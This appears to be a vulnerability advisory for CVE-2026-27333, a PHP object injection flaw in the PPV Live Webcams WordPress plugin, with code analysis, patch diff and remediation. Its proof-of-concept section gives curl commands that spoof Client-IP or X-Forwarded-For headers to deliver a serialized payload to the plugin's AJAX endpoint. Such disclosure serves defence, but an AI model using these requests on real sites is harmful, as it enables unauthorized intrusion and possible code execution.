CVE-2026-27333: PHP Object Injection in PPV Live Webcams (CVSS 8.1)
Table of Contents
CVE-2026-27333 is a CVSS 8.1 High Severity PHP Object Injection vulnerability in the Paid Videochat Turnkey Site – HTML5 PPV Live Webcams WordPress plugin. An unauthenticated attacker can send a malicious serialized payload through the plugin’s RTMP session status endpoint, injecting a PHP object into the site. If another installed plugin or theme provides a POP chain, this can lead to arbitrary file deletion, sensitive data exposure, or full remote code execution.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Paid Videochat Turnkey Site – HTML5 PPV Live Webcams |
| Plugin Slug | ppv-live-webcams |
| CVE ID | CVE-2026-27333 |
| CVSS Score | 8.1 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated PHP Object Injection |
| Affected Versions | <= 7.3.23 |
| Patched Version | 7.3.24 |
| Published | May 28, 2026 |
| Researcher | Phat RiO |
| Wordfence Advisory | Link |
Description
The Paid Videochat Turnkey Site – HTML5 PPV Live Webcams plugin is vulnerable to PHP Object Injection in all versions up to and including 7.3.23. The vulnerability exists in the plugin’s RTMP session status endpoint. An unauthenticated attacker can supply a serialized PHP payload through this endpoint. PHP then deserializes that payload, which can trigger class destructors and magic methods that make up a POP chain. No POP chain is present in the plugin itself, so impact depends on other installed plugins or themes. If a POP chain exists on the target system, an attacker can delete files, read sensitive data, or execute arbitrary code.
Technical Analysis
Entry Point: Unauthenticated AJAX Endpoint
The plugin registers several AJAX actions for unauthenticated users using wp_ajax_nopriv_* hooks. The main handler is vmls_callback():
// ppv-live-webcams.php, line 588-589
add_action( 'wp_ajax_vmls', array( 'VWliveWebcams', 'vmls_callback' ) );
add_action( 'wp_ajax_nopriv_vmls', array( 'VWliveWebcams', 'vmls_callback' ) );
Any visitor — without any login — can reach this handler by sending a POST request to wp-admin/admin-ajax.php?action=vmls.
Vulnerable Task: rtmp_status
Inside vmls_callback(), a switch statement dispatches on the task GET parameter. The rtmp_status case (line 5855) is intended to receive session data from an external RTMP streaming server:
// ppv-live-webcams.php, line 5855
case 'rtmp_status':
if ( ! in_array( $options['webStatus'], array( 'enabled', 'strict' ) ) ) {
self::rexit( 'denied=webStatusNotEnabled-' . $options['webStatus'] );
}
// allow only status updates from configured server IP
if ( $options['rtmp_restrict_ip'] ) {
$allowedIPs = explode( ',', $options['rtmp_restrict_ip'] );
$requestIP = self::get_ip_address();
$found = 0;
foreach ( $allowedIPs as $allowedIP ) {
if ( $requestIP == trim( $allowedIP ) ) {
$found = 1;
}
}
if ( ! $found ) {
self::rexit( 'denied=NotFromAllowedIP-' . $requestIP );
}
} else {
self::rexit( 'denied=StatusServerIPnotConfigured' );
}
The code checks two conditions before proceeding: the streaming feature must be enabled (webStatus = 'enabled' or 'strict'), and the request IP must match the configured RTMP server IP. These checks look secure at first glance, but both can be bypassed.
IP Spoofing Bypasses the Guard
The get_ip_address() function reads client IP from several HTTP headers before falling back to REMOTE_ADDR:
// ppv-live-webcams.php, line 3757
static function get_ip_address() {
$ip_keys = array( 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED',
'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED', 'REMOTE_ADDR' );
foreach ( $ip_keys as $key ) {
if ( array_key_exists( $key, $_SERVER ) === true ) {
foreach ( explode( ',', $_SERVER[ $key ] ) as $ip ) {
$ip = trim( $ip );
if ( self::validate_ip( $ip ) ) {
return $ip;
}
}
}
}
return isset( $_SERVER['REMOTE_ADDR'] ) ? $_SERVER['REMOTE_ADDR'] : false;
}
Because the function trusts Client-IP and X-Forwarded-For headers before the real connection IP, any attacker who knows the configured RTMP server IP can spoof it by adding Client-IP: <server_ip> to their request. The validation only checks that the IP is a valid public address — it does not verify that the header actually came from that host.
The Vulnerable unserialize() Call
After the IP check passes, the code reads $_POST['rtpsessions'] and $_POST['users'] directly from the request body and passes them to unserialize():
// ppv-live-webcams.php, line 5902-5908
$rtpsessiondata = sanitize_text_field( stripslashes( $_POST['rtpsessions'] ) );
file_put_contents( $options['uploadsPath'] . '/sessionsRTP', $rtpsessiondata );
if ( version_compare( phpversion(), '7.0', '<' ) ) {
$rtpsessions = unserialize( $rtpsessiondata ); // request is from trusted server
} else {
$rtpsessions = unserialize( $rtpsessiondata, array() );
}
And again for $_POST['users']:
// ppv-live-webcams.php, line 6093-6100
$userdata = sanitize_text_field( stripslashes( $_POST['users'] ) );
file_put_contents( $options['uploadsPath'] . '/sessionsUsers', $userdata );
if ( version_compare( phpversion(), '7.0', '<' ) ) {
$users = unserialize( $userdata ); // request is from trusted server
} else {
$users = unserialize( $userdata, array() );
}
Why the array() Second Argument Is Ineffective
PHP 7 added a second argument to unserialize() to restrict which classes may be instantiated during deserialization. The correct form to block all objects is:
unserialize( $data, array( 'allowed_classes' => false ) );
The vulnerable code instead passes a plain empty array: unserialize( $rtpsessiondata, array() ). An empty array provides no allowed_classes key, so PHP falls back to the default behavior — all classes are allowed. The comment “request is from trusted server” explains the developer’s intent, but the IP check is bypassable, making this assumption false.
Exploitation Conditions (AC:H)
This vulnerability carries CVSS Attack Complexity: High because three conditions must be true:
- The plugin’s streaming feature is enabled (
webStatus='enabled'or'strict'). - An RTMP server IP is configured in
rtmp_restrict_ip. - The attacker knows that server IP, so they can spoof it using a forged header.
Sites that run this plugin in streaming mode with an external RTMP server configured are at risk.
Proof of Concept
Disclaimer: This PoC is provided for educational purposes and authorized security testing only. Do not test against systems you do not own or have explicit permission to test.
Prerequisites:
- Plugin installed and active, version <= 7.3.23
webStatusset to'enabled'or'strict'in plugin optionsrtmp_restrict_ipcontains at least one configured public IP (e.g.1.2.3.4)- A POP chain is available from another installed plugin or theme
Step 1 — Identify the configured RTMP server IP.
The IP can often be found by inspecting plugin debug logs, examining past rtmp_login call responses, or through network monitoring on the target environment.
Step 2 — Craft a serialized PHP object payload.
The exact payload depends on which POP chain is available. The structure below demonstrates injection of a basic object:
# A serialized array containing a PHP object (adjust class and properties
# to match a POP chain present on the target system)
PAYLOAD='a:1:{i:0;O:12:"ExampleClass":1:{s:4:"path";s:9:"/tmp/evil";}}'
Step 3 — Send the request with a spoofed IP header.
TARGET="https://target.example.com"
RTMP_SERVER_IP="1.2.3.4"
# Inject via rtpsessions parameter
curl -s -X POST "${TARGET}/wp-admin/admin-ajax.php" \
-H "Client-IP: ${RTMP_SERVER_IP}" \
-d "action=vmls&task=rtmp_status&rtpsessions=${PAYLOAD}"
Step 4 — Alternative header if Client-IP is blocked.
curl -s -X POST "${TARGET}/wp-admin/admin-ajax.php" \
-H "X-Forwarded-For: ${RTMP_SERVER_IP}" \
-d "action=vmls&task=rtmp_status&rtpsessions=${PAYLOAD}"
Step 5 — Inject via the users parameter.
curl -s -X POST "${TARGET}/wp-admin/admin-ajax.php" \
-H "Client-IP: ${RTMP_SERVER_IP}" \
-d "action=vmls&task=rtmp_status&users=${PAYLOAD}"
Expected outcome: If the IP check passes and a POP chain is triggered, the magic method (e.g. __destruct, __wakeup) in the target class executes. Without a POP chain, the deserialized object is created but has no further effect.
Patch Analysis
The fix in version 7.3.24 adds array( 'allowed_classes' => false ) to every unserialize() call across the plugin. This one change eliminates object injection across all deserialization sites:
- $rtpsessiondata = sanitize_text_field( stripslashes( $_POST['rtpsessions'] ) );
+ $rtpsessiondata = sanitize_text_field( stripslashes( $_POST['rtpsessions'] ?? '' ) );
file_put_contents( $options['uploadsPath'] . '/sessionsRTP', $rtpsessiondata );
- if ( version_compare( phpversion(), '7.0', '<' ) ) {
- $rtpsessions = unserialize( $rtpsessiondata ); // request is from trusted server
- } else {
- $rtpsessions = unserialize( $rtpsessiondata, array() );
- }
+ $rtpsessions = unserialize( $rtpsessiondata, array( 'allowed_classes' => false ) );
- $userdata = sanitize_text_field( stripslashes( $_POST['users'] ) );
+ $userdata = sanitize_text_field( stripslashes( $_POST['users'] ?? '' ) );
file_put_contents( $options['uploadsPath'] . '/sessionsUsers', $userdata );
- if ( version_compare( phpversion(), '7.0', '<' ) ) {
- $users = unserialize( $userdata ); // request is from trusted server
- } else {
- $users = unserialize( $userdata, array() );
- }
+ $users = unserialize( $userdata, array( 'allowed_classes' => false ) );
The patch also removes the PHP version conditional — array() was never equivalent to array( 'allowed_classes' => false ), so the old branching gave a false sense of protection on PHP >= 7.0.
The same allowed_classes => false option was added to all other unserialize() calls throughout ppv-live-webcams.php, inc/h5videochat.php, inc/streams.php, and inc/shortcodes.php (94 lines changed in total), providing defense-in-depth even for data read from the database.
Timeline
| Date | Event |
|---|---|
| December 4, 2025 | Researcher Phat RiO reports the vulnerability |
| May 28, 2026 | Version 7.3.24 released; advisory published |
| June 2, 2026 | Advisory last updated on Wordfence |
| June 7, 2026 | This post published |
Remediation
Update immediately. Go to WordPress Admin → Plugins → Installed Plugins, find Paid Videochat Turnkey Site – HTML5 PPV Live Webcams, and click Update. The patched version is 7.3.24 or later.
If you cannot update right away:
- Disable the RTMP streaming feature by setting
webStatusto a value other thanenabledorstrict. - Remove all entries from
rtmp_restrict_ipto trigger the early exit invmls_callback. - Block requests to
wp-admin/admin-ajax.php?action=vmls&task=rtmp_statusat your web server or WAF.
References
- Wordfence Advisory — CVE-2026-27333
- Patchstack VDP — Deserialization of Untrusted Data
- WordPress SVN Changeset — tags/7.3.23 → tags/7.3.24
- CVE-2026-27333 — CVE Record
Frequently Asked Questions
What is CVE-2026-27333?
CVE-2026-27333 is a CVSS 8.1 High severity PHP Object Injection vulnerability in the Paid Videochat Turnkey Site – HTML5 PPV Live Webcams WordPress plugin. An unauthenticated attacker can inject a PHP object into the site when a POP chain is present through another installed plugin or theme.
Which versions of Paid Videochat Turnkey Site – HTML5 PPV Live Webcams are affected by CVE-2026-27333?
All versions up to and including 7.3.23 are affected. Version 7.3.24 contains the fix.
What can an attacker do with CVE-2026-27333?
An attacker can inject a malicious PHP object through the unsecured RTMP status endpoint. If another installed plugin or theme provides a POP chain, this can lead to arbitrary file deletion, sensitive data exposure, or remote code execution.
Does an attacker need to be logged in to exploit CVE-2026-27333?
No. The vulnerable AJAX endpoint is accessible to any visitor without authentication. However, exploiting it requires the RTMP streaming feature to be active and a known streaming server IP to be configured.
How do I fix CVE-2026-27333 in Paid Videochat Turnkey Site – HTML5 PPV Live Webcams?
Update Paid Videochat Turnkey Site – HTML5 PPV Live Webcams to version 7.3.24 or later from the WordPress admin dashboard or wordpress.org.
Has Paid Videochat Turnkey Site – HTML5 PPV Live Webcams been patched for CVE-2026-27333?
Yes. Version 7.3.24 was released on May 28, 2026 and resolves this vulnerability.